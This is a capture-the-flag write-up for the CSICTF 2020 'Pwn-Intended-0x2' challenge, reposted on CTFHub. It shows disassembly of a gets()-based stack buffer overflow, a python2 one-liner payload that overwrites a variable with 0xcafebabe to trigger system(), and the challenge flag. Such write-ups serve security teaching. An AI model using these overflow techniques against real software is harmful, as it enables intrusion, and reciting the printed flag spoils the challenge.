Pwn-Intended-0x2

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Pwn
Challenge | 2020 | CSICTF | Pwn | Pwn-Intended-0x2

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Pwn-Intended-0x2.html

by `AnandSaminathan`

题目描述

题目考点

解题思路

This is exactly same as coffer-overflow-1 from redpwn-2020.

This time the variable has to be overwritten with a specific value instead of any random value.

```
1  mov    rbp,rsp
2  sub    rsp,0x30
3  mov    DWORD PTR [rbp-0x4],0x0
4  mov    rax,QWORD PTR [rip+0x2ef4]
5  mov    esi,0x0
6  mov    rdi,rax
7  call   0x401040 <setbuf@plt>
8  mov    rax,QWORD PTR [rip+0x2ef0]
9  mov    esi,0x0
10 mov    rdi,rax
11 call   0x401040 <setbuf@plt>
12 mov    rax,QWORD PTR [rip+0x2eec]
13 mov    esi,0x0
14 mov    rdi,rax
15 call   0x401040 <setbuf@plt>
16 lea    rdi,[rip+0xe60]
17 call   0x401030 <puts@plt>
18 lea    rax,[rbp-0x30]
19 mov    rdi,rax
20 mov    eax,0x0
21 call   0x401060 <gets@plt>
22 lea    rdi,[rip+0xe6c]
23 call   0x401030 <puts@plt>
24 cmp    DWORD PTR [rbp-0x4],0xcafebabe # magic value
25 jne    0x4011f0 <main+154>
26 lea    rdi,[rip+0xe66]
27 call   0x401030 <puts@plt>
28 lea    rdi,[rip+0xe8a]
29 mov    eax,0x0
30 call   0x401050 <system@plt> # system("cat flag.txt")
31 mov    eax,0x0
```

Using gdb, the distance between the starting address of the buffer and the address of the variable to be overwritten was found to be 44 bytes, so we can have some padding of 44 bytes and then have the magic value in little endian. This worked:

```
1 python2 -c "print 'A'*44 + '\xbe\xba\xfe\xca'" | ./pwn-intended-0x2
```

Flag

```
1 csictf{c4n_y0u_re4lly_telep0rt?}
```

- *本文作者：* CTFHub
- *本文链接：* https://writeup.ctfhub.com/Challenge/2020/CSICTF/Pwn/bsnKxXBpcPV4Rtn97Kxu3a.html
- *版权声明：* 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

Challenge # 2020 # Pwn # CSICTF
Pwn-Intended-0x1
Global-warming